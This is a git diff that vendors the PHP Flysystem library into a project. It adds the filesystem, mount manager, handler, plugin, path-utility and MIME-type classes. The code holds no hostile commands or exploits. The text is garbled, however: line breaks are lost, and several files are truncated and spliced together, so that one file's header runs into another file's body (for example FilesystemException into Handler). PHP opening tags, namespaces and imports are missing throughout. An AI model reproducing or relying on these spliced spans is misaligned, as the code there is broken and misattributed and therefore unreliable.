$path = Util::normalizePath($path); + $this->assertPresent($path); + + if (( ! $object = $this->getAdapter()->getTimestamp($path)) || ! array_key_exists('timestamp', $object)) { + return false; + } + + return (int) $object['timestamp']; + } + + /** + * @inheritdoc + */ + public function getVisibility($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + if (( ! $object = $this->getAdapter()->getVisibility($path)) || ! array_key_exists('visibility', $object)) { + return false; + } + + return $object['visibility']; + } + + /** + * @inheritdoc + */ + public function getSize($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + if (( ! $object = $this->getAdapter()->getSize($path)) || ! array_key_exists('size', $object)) { + return false; + } + + return (int) $object['size']; + } + + /** + * @inheritdoc + */ + public function setVisibility($path, $visibility) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + return (bool) $this->getAdapter()->setVisibility($path, $visibility); + } + + /** + * @inheritdoc + */ + public function getMetadata($path) + { + $path = Util::normalizePath($path); + $this->assertPresent($path); + + return $this->getAdapter()->getMetadata($path); + } + + /** + * @inheritdoc + */ + public function get($path, Handler $handler = null) + { + $path = Util::normalizePath($path); + + if ( ! $handler) { + $metadata = $this->getMetadata($path); + $handler = ($metadata && $metadata['type'] === 'file') ? new File($this, $path) : new Directory($this, $path); + } + + $handler->setPath($path); + $handler->setFilesystem($this); + + return $handler; + } + + /** + * Assert a file is present. + * + * @param string $path path to file + * + * @throws FileNotFoundException + * + * @return void + */ + public function assertPresent($path) + { + if ($this->config->get('disable_asserts', false) === false && ! $this->has($path)) { + throw new FileNotFoundException($path); + } + } + + /** + * Assert a file is absent. + * + * @param string $path path to file + * + * @throws FileExistsException + * + * @return void + */ + public function assertAbsent($path) + { + if ($this->config->get('disable_asserts', false) === false && $this->has($path)) { + throw new FileExistsException($path); + } + } +} diff --git a/vendor/league/flysystem/src/FilesystemException.php b/vendor/league/flysystem/src/FilesystemException.php new file mode 100644 index 0000000..3121e53 --- /dev/null +++ b/vendor/league/flysystem/src/FilesystemException.php @@ -0,0 +1,7 @@ +path = $path; + $this->filesystem = $filesystem; + } + + /** + * Check whether the entree is a directory. + * + * @return bool + */ + public function isDir() + { + return $this->getType() === 'dir'; + } + + /** + * Check whether the entree is a file. + * + * @return bool + */ + public function isFile() + { + return $this->getType() === 'file'; + } + + /** + * Retrieve the entree type (file|dir). + * + * @return string file or dir + */ + public function getType() + { + $metadata = $this->filesystem->getMetadata($this->path); + + return $metadata ? $metadata['type'] : 'dir'; + } + + /** + * Set the Filesystem object. + * + * @param FilesystemInterface $filesystem + * + * @return $this + */ + public function setFilesystem(FilesystemInterface $filesystem) + { + $this->filesystem = $filesystem; + + return $this; + } + + /** + * Retrieve the Filesystem object. + * + * @return FilesystemInterface + */ + public function getFilesystem() + { + return $this->filesystem; + } + + /** + * Set the entree path. + * + * @param string $path + * + * @return $this + */ + public function setPath($path) + { + $this->path = $path; + + return $this; + } + + /** + * Retrieve the entree path. + * + * @return string path + */ + public function getPath() + { + return $this->path; + } + + /** + * Plugins pass-through. + * + * @param string $method + * @param array $arguments + * + * @return mixed + */ + public function __call($method, array $arguments) + { + array_unshift($arguments, $this->path); + $callback = [$this->filesystem, $method]; + + try { + return call_user_func_array($callback, $arguments); + } catch (BadMethodCallException $e) { + throw new BadMethodCallException( + 'Call to undefined method ' + . get_called_class() + . '::' . $method + ); + } + } +} diff --git a/vendor/league/flysystem/src/InvalidRootException.php b/vendor/league/flysystem/src/InvalidRootException.php new file mode 100644 index 0000000..468d1d5 --- /dev/null +++ b/vendor/league/flysystem/src/InvalidRootException.php @@ -0,0 +1,9 @@ + Filesystem,] + * + * @throws InvalidArgumentException + */ + public function __construct(array $filesystems = []) + { + $this->mountFilesystems($filesystems); + } + + /** + * Mount filesystems. + * + * @param FilesystemInterface[] $filesystems [:prefix => Filesystem,] + * + * @throws InvalidArgumentException + * + * @return $this + */ + public function mountFilesystems(array $filesystems) + { + foreach ($filesystems as $prefix => $filesystem) { + $this->mountFilesystem($prefix, $filesystem); + } + + return $this; + } + + /** + * Mount filesystems. + * + * @param string $prefix + * @param FilesystemInterface $filesystem + * + * @throws InvalidArgumentException + * + * @return $this + */ + public function mountFilesystem($prefix, FilesystemInterface $filesystem) + { + if ( ! is_string($prefix)) { + throw new InvalidArgumentException(__METHOD__ . ' expects argument #1 to be a string.'); + } + + $this->filesystems[$prefix] = $filesystem; + + return $this; + } + + /** + * Get the filesystem with the corresponding prefix. + * + * @param string $prefix + * + * @throws FilesystemNotFoundException + * + * @return FilesystemInterface + */ + public function getFilesystem($prefix) + { + if ( ! isset($this->filesystems[$prefix])) { + throw new FilesystemNotFoundException('No filesystem mounted with prefix ' . $prefix); + } + + return $this->filesystems[$prefix]; + } + + /** + * Retrieve the prefix from an arguments array. + * + * @param array $arguments + * + * @throws InvalidArgumentException + * + * @return array [:prefix, :arguments] + */ + public function filterPrefix(array $arguments) + { + if (empty($arguments)) { + throw new InvalidArgumentException('At least one argument needed'); + } + + $path = array_shift($arguments); + + if ( ! is_string($path)) { + throw new InvalidArgumentException('First argument should be a string'); + } + + list($prefix, $path) = $this->getPrefixAndPath($path); + array_unshift($arguments, $path); + + return [$prefix, $arguments]; + } + + /** + * @param string $directory + * @param bool $recursive + * + * @throws InvalidArgumentException + * @throws FilesystemNotFoundException + * + * @return array + */ + public function listContents($directory = '', $recursive = false) + { + list($prefix, $directory) = $this->getPrefixAndPath($directory); + $filesystem = $this->getFilesystem($prefix); + $result = $filesystem->listContents($directory, $recursive); + + foreach ($result as &$file) { + $file['filesystem'] = $prefix; + } + + return $result; + } + + /** + * Call forwarder. + * + * @param string $method + * @param array $arguments + * + * @throws InvalidArgumentException + * @throws FilesystemNotFoundException + * + * @return mixed + */ + public function __call($method, $arguments) + { + list($prefix, $arguments) = $this->filterPrefix($arguments); + + return $this->invokePluginOnFilesystem($method, $arguments, $prefix); + } + + /** + * @param string $from + * @param string $to + * @param array $config + * + * @throws InvalidArgumentException + * @throws FilesystemNotFoundException + * @throws FileExistsException + * + * @return bool + */ + public function copy($from, $to, array $config = []) + { + list($prefixFrom, $from) = $this->getPrefixAndPath($from); + + $buffer = $this->getFilesystem($prefixFrom)->readStream($from); + + if ($buffer === false) { + return false; + } + + list($prefixTo, $to) = $this->getPrefixAndPath($to); + + $result = $this->getFilesystem($prefixTo)->writeStream($to, $buffer, $config); + + if (is_resource($buffer)) { + fclose($buffer); + } + + return $result; + } + + /** + * List with plugin adapter. + * + * @param array $keys + * @param string $directory + * @param bool $recursive + * + * @throws InvalidArgumentException + * @throws FilesystemNotFoundException + * + * @return array + */ + public function listWith(array $keys = [], $directory = '', $recursive = false) + { + list($prefix, $directory) = $this->getPrefixAndPath($directory); + $arguments = [$keys, $directory, $recursive]; + + return $this->invokePluginOnFilesystem('listWith', $arguments, $prefix); + } + + /** + * Move a file. + * + * @param string $from + * @param string $to + * @param array $config + * + * @throws InvalidArgumentException + * @throws FilesystemNotFoundException + * + * @return bool + */ + public function move($from, $to, array $config = []) + { + list($prefixFrom, $pathFrom) = $this->getPrefixAndPath($from); + list($prefixTo, $pathTo) = $this->getPrefixAndPath($to); + + if ($prefixFrom === $prefixTo) { + $filesystem = $this->getFilesystem($prefixFrom); + $renamed = $filesystem->rename($pathFrom, $pathTo); + + if ($renamed && isset($config['visibility'])) { + return $filesystem->setVisibility($pathTo, $config['visibility']); + } + + return $renamed; + } + + $copied = $this->copy($from, $to, $config); + + if ($copied) { + return $this->delete($from); + } + + return false; + } + + /** + * Invoke a plugin on a filesystem mounted on a given prefix. + * + * @param string $method + * @param array $arguments + * @param string $prefix + * + * @throws FilesystemNotFoundException + * + * @return mixed + */ + public function invokePluginOnFilesystem($method, $arguments, $prefix) + { + $filesystem = $this->getFilesystem($prefix); + + try { + return $this->invokePlugin($method, $arguments, $filesystem); + } catch (PluginNotFoundException $e) { + // Let it pass, it's ok, don't panic. + } + + $callback = [$filesystem, $method]; + + return call_user_func_array($callback, $arguments); + } + + /** + * @param string $path + * + * @throws InvalidArgumentException + * + * @return string[] [:prefix, :path] + */ + protected function getPrefixAndPath($path) + { + if (strpos($path, '://') < 1) { + throw new InvalidArgumentException('No prefix detected in path: ' . $path); + } + + return explode('://', $path, 2); + } + + /** + * Check whether a file exists. + * + * @param string $path + * + * @return bool + */ + public function has($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->has($path); + } + + /** + * Read a file. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return string|false The file contents or false on failure. + */ + public function read($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->read($path); + } + + /** + * Retrieves a read-stream for a path. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return resource|false The path resource or false on failure. + */ + public function readStream($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->readStream($path); + } + + /** + * Get a file's metadata. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return array|false The file metadata or false on failure. + */ + public function getMetadata($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->getMetadata($path); + } + + /** + * Get a file's size. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return int|false The file size or false on failure. + */ + public function getSize($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->getSize($path); + } + + /** + * Get a file's mime-type. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return string|false The file mime-type or false on failure. + */ + public function getMimetype($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->getMimetype($path); + } + + /** + * Get a file's timestamp. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return string|false The timestamp or false on failure. + */ + public function getTimestamp($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->getTimestamp($path); + } + + /** + * Get a file's visibility. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return string|false The visibility (public|private) or false on failure. + */ + public function getVisibility($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->getVisibility($path); + } + + /** + * Write a new file. + * + * @param string $path The path of the new file. + * @param string $contents The file contents. + * @param array $config An optional configuration array. + * + * @throws FileExistsException + * + * @return bool True on success, false on failure. + */ + public function write($path, $contents, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->write($path, $contents, $config); + } + + /** + * Write a new file using a stream. + * + * @param string $path The path of the new file. + * @param resource $resource The file handle. + * @param array $config An optional configuration array. + * + * @throws InvalidArgumentException If $resource is not a file handle. + * @throws FileExistsException + * + * @return bool True on success, false on failure. + */ + public function writeStream($path, $resource, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->writeStream($path, $resource, $config); + } + + /** + * Update an existing file. + * + * @param string $path The path of the existing file. + * @param string $contents The file contents. + * @param array $config An optional configuration array. + * + * @throws FileNotFoundException + * + * @return bool True on success, false on failure. + */ + public function update($path, $contents, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->update($path, $contents, $config); + } + + /** + * Update an existing file using a stream. + * + * @param string $path The path of the existing file. + * @param resource $resource The file handle. + * @param array $config An optional configuration array. + * + * @throws InvalidArgumentException If $resource is not a file handle. + * @throws FileNotFoundException + * + * @return bool True on success, false on failure. + */ + public function updateStream($path, $resource, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->updateStream($path, $resource, $config); + } + + /** + * Rename a file. + * + * @param string $path Path to the existing file. + * @param string $newpath The new path of the file. + * + * @throws FileExistsException Thrown if $newpath exists. + * @throws FileNotFoundException Thrown if $path does not exist. + * + * @return bool True on success, false on failure. + */ + public function rename($path, $newpath) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->rename($path, $newpath); + } + + /** + * Delete a file. + * + * @param string $path + * + * @throws FileNotFoundException + * + * @return bool True on success, false on failure. + */ + public function delete($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->delete($path); + } + + /** + * Delete a directory. + * + * @param string $dirname + * + * @throws RootViolationException Thrown if $dirname is empty. + * + * @return bool True on success, false on failure. + */ + public function deleteDir($dirname) + { + list($prefix, $dirname) = $this->getPrefixAndPath($dirname); + + return $this->getFilesystem($prefix)->deleteDir($dirname); + } + + /** + * Create a directory. + * + * @param string $dirname The name of the new directory. + * @param array $config An optional configuration array. + * + * @return bool True on success, false on failure. + */ + public function createDir($dirname, array $config = []) + { + list($prefix, $dirname) = $this->getPrefixAndPath($dirname); + + return $this->getFilesystem($prefix)->createDir($dirname); + } + + /** + * Set the visibility for a file. + * + * @param string $path The path to the file. + * @param string $visibility One of 'public' or 'private'. + * + * @throws FileNotFoundException + * + * @return bool True on success, false on failure. + */ + public function setVisibility($path, $visibility) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->setVisibility($path, $visibility); + } + + /** + * Create a file or update if exists. + * + * @param string $path The path to the file. + * @param string $contents The file contents. + * @param array $config An optional configuration array. + * + * @return bool True on success, false on failure. + */ + public function put($path, $contents, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->put($path, $contents, $config); + } + + /** + * Create a file or update if exists. + * + * @param string $path The path to the file. + * @param resource $resource The file handle. + * @param array $config An optional configuration array. + * + * @throws InvalidArgumentException Thrown if $resource is not a resource. + * + * @return bool True on success, false on failure. + */ + public function putStream($path, $resource, array $config = []) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->putStream($path, $resource, $config); + } + + /** + * Read and delete a file. + * + * @param string $path The path to the file. + * + * @throws FileNotFoundException + * + * @return string|false The file contents, or false on failure. + */ + public function readAndDelete($path) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->readAndDelete($path); + } + + /** + * Get a file/directory handler. + * + * @deprecated + * + * @param string $path The path to the file. + * @param Handler $handler An optional existing handler to populate. + * + * @return Handler Either a file or directory handler. + */ + public function get($path, Handler $handler = null) + { + list($prefix, $path) = $this->getPrefixAndPath($path); + + return $this->getFilesystem($prefix)->get($path); + } +} diff --git a/vendor/league/flysystem/src/NotSupportedException.php b/vendor/league/flysystem/src/NotSupportedException.php new file mode 100644 index 0000000..e0a989b --- /dev/null +++ b/vendor/league/flysystem/src/NotSupportedException.php @@ -0,0 +1,37 @@ +getPathname()); + } + + /** + * Create a new exception for a link. + * + * @param string $systemType + * + * @return static + */ + public static function forFtpSystemType($systemType) + { + $message = "The FTP system type '$systemType' is currently not supported."; + + return new static($message); + } +} diff --git a/vendor/league/flysystem/src/Plugin/AbstractPlugin.php b/vendor/league/flysystem/src/Plugin/AbstractPlugin.php new file mode 100644 index 0000000..0d56789 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/AbstractPlugin.php @@ -0,0 +1,24 @@ +filesystem = $filesystem; + } +} diff --git a/vendor/league/flysystem/src/Plugin/EmptyDir.php b/vendor/league/flysystem/src/Plugin/EmptyDir.php new file mode 100644 index 0000000..b5ae7f5 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/EmptyDir.php @@ -0,0 +1,34 @@ +filesystem->listContents($dirname, false); + + foreach ($listing as $item) { + if ($item['type'] === 'dir') { + $this->filesystem->deleteDir($item['path']); + } else { + $this->filesystem->delete($item['path']); + } + } + } +} diff --git a/vendor/league/flysystem/src/Plugin/ForcedCopy.php b/vendor/league/flysystem/src/Plugin/ForcedCopy.php new file mode 100644 index 0000000..a41e9f3 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/ForcedCopy.php @@ -0,0 +1,44 @@ +filesystem->delete($newpath); + } catch (FileNotFoundException $e) { + // The destination path does not exist. That's ok. + $deleted = true; + } + + if ($deleted) { + return $this->filesystem->copy($path, $newpath); + } + + return false; + } +} diff --git a/vendor/league/flysystem/src/Plugin/ForcedRename.php b/vendor/league/flysystem/src/Plugin/ForcedRename.php new file mode 100644 index 0000000..3f51cd6 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/ForcedRename.php @@ -0,0 +1,44 @@ +filesystem->delete($newpath); + } catch (FileNotFoundException $e) { + // The destination path does not exist. That's ok. + $deleted = true; + } + + if ($deleted) { + return $this->filesystem->rename($path, $newpath); + } + + return false; + } +} diff --git a/vendor/league/flysystem/src/Plugin/GetWithMetadata.php b/vendor/league/flysystem/src/Plugin/GetWithMetadata.php new file mode 100644 index 0000000..6fe4f05 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/GetWithMetadata.php @@ -0,0 +1,51 @@ +filesystem->getMetadata($path); + + if ( ! $object) { + return false; + } + + $keys = array_diff($metadata, array_keys($object)); + + foreach ($keys as $key) { + if ( ! method_exists($this->filesystem, $method = 'get' . ucfirst($key))) { + throw new InvalidArgumentException('Could not fetch metadata: ' . $key); + } + + $object[$key] = $this->filesystem->{$method}($path); + } + + return $object; + } +} diff --git a/vendor/league/flysystem/src/Plugin/ListFiles.php b/vendor/league/flysystem/src/Plugin/ListFiles.php new file mode 100644 index 0000000..9669fe7 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/ListFiles.php @@ -0,0 +1,35 @@ +filesystem->listContents($directory, $recursive); + + $filter = function ($object) { + return $object['type'] === 'file'; + }; + + return array_values(array_filter($contents, $filter)); + } +} diff --git a/vendor/league/flysystem/src/Plugin/ListPaths.php b/vendor/league/flysystem/src/Plugin/ListPaths.php new file mode 100644 index 0000000..514bdf0 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/ListPaths.php @@ -0,0 +1,36 @@ +filesystem->listContents($directory, $recursive); + + foreach ($contents as $object) { + $result[] = $object['path']; + } + + return $result; + } +} diff --git a/vendor/league/flysystem/src/Plugin/ListWith.php b/vendor/league/flysystem/src/Plugin/ListWith.php new file mode 100644 index 0000000..d90464e --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/ListWith.php @@ -0,0 +1,60 @@ +filesystem->listContents($directory, $recursive); + + foreach ($contents as $index => $object) { + if ($object['type'] === 'file') { + $missingKeys = array_diff($keys, array_keys($object)); + $contents[$index] = array_reduce($missingKeys, [$this, 'getMetadataByName'], $object); + } + } + + return $contents; + } + + /** + * Get a meta-data value by key name. + * + * @param array $object + * @param string $key + * + * @return array + */ + protected function getMetadataByName(array $object, $key) + { + $method = 'get' . ucfirst($key); + + if ( ! method_exists($this->filesystem, $method)) { + throw new \InvalidArgumentException('Could not get meta-data for key: ' . $key); + } + + $object[$key] = $this->filesystem->{$method}($object['path']); + + return $object; + } +} diff --git a/vendor/league/flysystem/src/Plugin/PluggableTrait.php b/vendor/league/flysystem/src/Plugin/PluggableTrait.php new file mode 100644 index 0000000..922edfe --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/PluggableTrait.php @@ -0,0 +1,97 @@ +plugins[$plugin->getMethod()] = $plugin; + + return $this; + } + + /** + * Find a specific plugin. + * + * @param string $method + * + * @throws PluginNotFoundException + * + * @return PluginInterface + */ + protected function findPlugin($method) + { + if ( ! isset($this->plugins[$method])) { + throw new PluginNotFoundException('Plugin not found for method: ' . $method); + } + + return $this->plugins[$method]; + } + + /** + * Invoke a plugin by method name. + * + * @param string $method + * @param array $arguments + * @param FilesystemInterface $filesystem + * + * @throws PluginNotFoundException + * + * @return mixed + */ + protected function invokePlugin($method, array $arguments, FilesystemInterface $filesystem) + { + $plugin = $this->findPlugin($method); + $plugin->setFilesystem($filesystem); + $callback = [$plugin, 'handle']; + + return call_user_func_array($callback, $arguments); + } + + /** + * Plugins pass-through. + * + * @param string $method + * @param array $arguments + * + * @throws BadMethodCallException + * + * @return mixed + */ + public function __call($method, array $arguments) + { + try { + return $this->invokePlugin($method, $arguments, $this); + } catch (PluginNotFoundException $e) { + throw new BadMethodCallException( + 'Call to undefined method ' + . get_class($this) + . '::' . $method + ); + } + } +} diff --git a/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php b/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php new file mode 100644 index 0000000..fd1d7e7 --- /dev/null +++ b/vendor/league/flysystem/src/Plugin/PluginNotFoundException.php @@ -0,0 +1,10 @@ +hash = spl_object_hash($this); + static::$safeStorage[$this->hash] = []; + } + + public function storeSafely($key, $value) + { + static::$safeStorage[$this->hash][$key] = $value; + } + + public function retrieveSafely($key) + { + if (array_key_exists($key, static::$safeStorage[$this->hash])) { + return static::$safeStorage[$this->hash][$key]; + } + } + + public function __destruct() + { + unset(static::$safeStorage[$this->hash]); + } +} diff --git a/vendor/league/flysystem/src/UnreadableFileException.php b/vendor/league/flysystem/src/UnreadableFileException.php new file mode 100644 index 0000000..e668033 --- /dev/null +++ b/vendor/league/flysystem/src/UnreadableFileException.php @@ -0,0 +1,18 @@ +getRealPath() + ) + ); + } +} diff --git a/vendor/league/flysystem/src/Util.php b/vendor/league/flysystem/src/Util.php new file mode 100644 index 0000000..76454a0 --- /dev/null +++ b/vendor/league/flysystem/src/Util.php @@ -0,0 +1,353 @@ + '']; + } + + /** + * Normalize a dirname return value. + * + * @param string $dirname + * + * @return string normalized dirname + */ + public static function normalizeDirname($dirname) + { + return $dirname === '.' ? '' : $dirname; + } + + /** + * Get a normalized dirname from a path. + * + * @param string $path + * + * @return string dirname + */ + public static function dirname($path) + { + return static::normalizeDirname(dirname($path)); + } + + /** + * Map result arrays. + * + * @param array $object + * @param array $map + * + * @return array mapped result + */ + public static function map(array $object, array $map) + { + $result = []; + + foreach ($map as $from => $to) { + if ( ! isset($object[$from])) { + continue; + } + + $result[$to] = $object[$from]; + } + + return $result; + } + + /** + * Normalize path. + * + * @param string $path + * + * @throws LogicException + * + * @return string + */ + public static function normalizePath($path) + { + return static::normalizeRelativePath($path); + } + + /** + * Normalize relative directories in a path. + * + * @param string $path + * + * @throws LogicException + * + * @return string + */ + public static function normalizeRelativePath($path) + { + $path = str_replace('\\', '/', $path); + $path = static::removeFunkyWhiteSpace($path); + + $parts = []; + + foreach (explode('/', $path) as $part) { + switch ($part) { + case '': + case '.': + break; + + case '..': + if (empty($parts)) { + throw new LogicException( + 'Path is outside of the defined root, path: [' . $path . ']' + ); + } + array_pop($parts); + break; + + default: + $parts[] = $part; + break; + } + } + + return implode('/', $parts); + } + + /** + * Removes unprintable characters and invalid unicode characters. + * + * @param string $path + * + * @return string $path + */ + protected static function removeFunkyWhiteSpace($path) + { + // We do this check in a loop, since removing invalid unicode characters + // can lead to new characters being created. + while (preg_match('#\p{C}+|^\./#u', $path)) { + $path = preg_replace('#\p{C}+|^\./#u', '', $path); + } + + return $path; + } + + /** + * Normalize prefix. + * + * @param string $prefix + * @param string $separator + * + * @return string normalized path + */ + public static function normalizePrefix($prefix, $separator) + { + return rtrim($prefix, $separator) . $separator; + } + + /** + * Get content size. + * + * @param string $contents + * + * @return int content size + */ + public static function contentSize($contents) + { + return defined('MB_OVERLOAD_STRING') ? mb_strlen($contents, '8bit') : strlen($contents); + } + + /** + * Guess MIME Type based on the path of the file and it's content. + * + * @param string $path + * @param string|resource $content + * + * @return string|null MIME Type or NULL if no extension detected + */ + public static function guessMimeType($path, $content) + { + $mimeType = MimeType::detectByContent($content); + + if ( ! (empty($mimeType) || in_array($mimeType, ['application/x-empty', 'text/plain', 'text/x-asm']))) { + return $mimeType; + } + + return MimeType::detectByFilename($path); + } + + /** + * Emulate directories. + * + * @param array $listing + * + * @return array listing with emulated directories + */ + public static function emulateDirectories(array $listing) + { + $directories = []; + $listedDirectories = []; + + foreach ($listing as $object) { + list($directories, $listedDirectories) = static::emulateObjectDirectories($object, $directories, $listedDirectories); + } + + $directories = array_diff(array_unique($directories), array_unique($listedDirectories)); + + foreach ($directories as $directory) { + $listing[] = static::pathinfo($directory) + ['type' => 'dir']; + } + + return $listing; + } + + /** + * Ensure a Config instance. + * + * @param null|array|Config $config + * + * @return Config config instance + * + * @throw LogicException + */ + public static function ensureConfig($config) + { + if ($config === null) { + return new Config(); + } + + if ($config instanceof Config) { + return $config; + } + + if (is_array($config)) { + return new Config($config); + } + + throw new LogicException('A config should either be an array or a Flysystem\Config object.'); + } + + /** + * Rewind a stream. + * + * @param resource $resource + */ + public static function rewindStream($resource) + { + if (ftell($resource) !== 0 && static::isSeekableStream($resource)) { + rewind($resource); + } + } + + public static function isSeekableStream($resource) + { + $metadata = stream_get_meta_data($resource); + + return $metadata['seekable']; + } + + /** + * Get the size of a stream. + * + * @param resource $resource + * + * @return int|null stream size + */ + public static function getStreamSize($resource) + { + $stat = fstat($resource); + + if ( ! is_array($stat) || ! isset($stat['size'])) { + return null; + } + + return $stat['size']; + } + + /** + * Emulate the directories of a single object. + * + * @param array $object + * @param array $directories + * @param array $listedDirectories + * + * @return array + */ + protected static function emulateObjectDirectories(array $object, array $directories, array $listedDirectories) + { + if ($object['type'] === 'dir') { + $listedDirectories[] = $object['path']; + } + + if ( ! isset($object['dirname']) || trim($object['dirname']) === '') { + return [$directories, $listedDirectories]; + } + + $parent = $object['dirname']; + + while (isset($parent) && trim($parent) !== '' && ! in_array($parent, $directories)) { + $directories[] = $parent; + $parent = static::dirname($parent); + } + + if (isset($object['type']) && $object['type'] === 'dir') { + $listedDirectories[] = $object['path']; + + return [$directories, $listedDirectories]; + } + + return [$directories, $listedDirectories]; + } + + /** + * Returns the trailing name component of the path. + * + * @param string $path + * + * @return string + */ + private static function basename($path) + { + $separators = DIRECTORY_SEPARATOR === '/' ? '/' : '\/'; + + $path = rtrim($path, $separators); + + $basename = preg_replace('#.*?([^' . preg_quote($separators, '#') . ']+$)#', '$1', $path); + + if (DIRECTORY_SEPARATOR === '/') { + return $basename; + } + // @codeCoverageIgnoreStart + // Extra Windows path munging. This is tested via AppVeyor, but code + // coverage is not reported. + + // Handle relative paths with drive letters. c:file.txt. + while (preg_match('#^[a-zA-Z]{1}:[^\\\/]#', $basename)) { + $basename = substr($basename, 2); + } + + // Remove colon for standalone drive letter names. + if (preg_match('#^[a-zA-Z]{1}:$#', $basename)) { + $basename = rtrim($basename, ':'); + } + + return $basename; + // @codeCoverageIgnoreEnd + } +} diff --git a/vendor/league/flysystem/src/Util/ContentListingFormatter.php b/vendor/league/flysystem/src/Util/ContentListingFormatter.php new file mode 100644 index 0000000..ae0d3b9 --- /dev/null +++ b/vendor/league/flysystem/src/Util/ContentListingFormatter.php @@ -0,0 +1,122 @@ +directory = rtrim($directory, '/'); + $this->recursive = $recursive; + $this->caseSensitive = $caseSensitive; + } + + /** + * Format contents listing. + * + * @param array $listing + * + * @return array + */ + public function formatListing(array $listing) + { + $listing = array_filter(array_map([$this, 'addPathInfo'], $listing), [$this, 'isEntryOutOfScope']); + + return $this->sortListing(array_values($listing)); + } + + private function addPathInfo(array $entry) + { + return $entry + Util::pathinfo($entry['path']); + } + + /** + * Determine if the entry is out of scope. + * + * @param array $entry + * + * @return bool + */ + private function isEntryOutOfScope(array $entry) + { + if (empty($entry['path']) && $entry['path'] !== '0') { + return false; + } + + if ($this->recursive) { + return $this->residesInDirectory($entry); + } + + return $this->isDirectChild($entry); + } + + /** + * Check if the entry resides within the parent directory. + * + * @param array $entry + * + * @return bool + */ + private function residesInDirectory(array $entry) + { + if ($this->directory === '') { + return true; + } + + return $this->caseSensitive + ? strpos($entry['path'], $this->directory . '/') === 0 + : stripos($entry['path'], $this->directory . '/') === 0; + } + + /** + * Check if the entry is a direct child of the directory. + * + * @param array $entry + * + * @return bool + */ + private function isDirectChild(array $entry) + { + return $this->caseSensitive + ? $entry['dirname'] === $this->directory + : strcasecmp($this->directory, $entry['dirname']) === 0; + } + + /** + * @param array $listing + * + * @return array + */ + private function sortListing(array $listing) + { + usort($listing, function ($a, $b) { + return strcasecmp($a['path'], $b['path']); + }); + + return $listing; + } +} diff --git a/vendor/league/flysystem/src/Util/MimeType.php b/vendor/league/flysystem/src/Util/MimeType.php new file mode 100644 index 0000000..35cba3f --- /dev/null +++ b/vendor/league/flysystem/src/Util/MimeType.php @@ -0,0 +1,80 @@ +detectMimeTypeFromBuffer($content); + } + + return 'text/plain'; + } + + /** + * Detects MIME Type based on file extension. + * + * @param string $extension + * + * @return string MIME Type + */ + public static function detectByFileExtension($extension) + { + return static::detector()->detectMimeTypeFromPath('artificial.' . $extension) ?: 'text/plain'; + } + + /** + * @param string $filename + * + * @return string MIME Type + */ + public static function detectByFilename($filename) + { + return static::detector()->detectMimeTypeFromPath($filename) ?: 'text/plain'; + } + + /** + * @return array Map of file extension to MIME Type + */ + public static function getExtensionToMimeTypeMap() + { + return static::$extensionToMimeTypeMap; + } +} diff --git a/vendor/league/flysystem/src/Util/StreamHasher.php b/vendor/league/flysystem/src/Util/StreamHasher.php new file mode 100644 index 0000000..938ec5d --- /dev/null +++ b/vendor/league/flysystem/src/Util/StreamHasher.php @@ -0,0 +1,36 @@ +algo = $algo; + } + + /** + * @param resource $resource + * + * @return string + */ + public function hash($resource) + { + rewind($resource); + $context = hash_init($this->algo); + hash_update_stream($context, $resource); + fclose($resource); + + return hash_final($context); + } +} diff --git a/vendor/league/mime-type-detection/LICENSE b/vendor/league/mime-type-detection/LICENSE new file mode 100644 index 0000000..7c1027d --- /dev/null +++ b/vendor/league/mime-type-detection/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2013-2020 Frank de Jonge + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 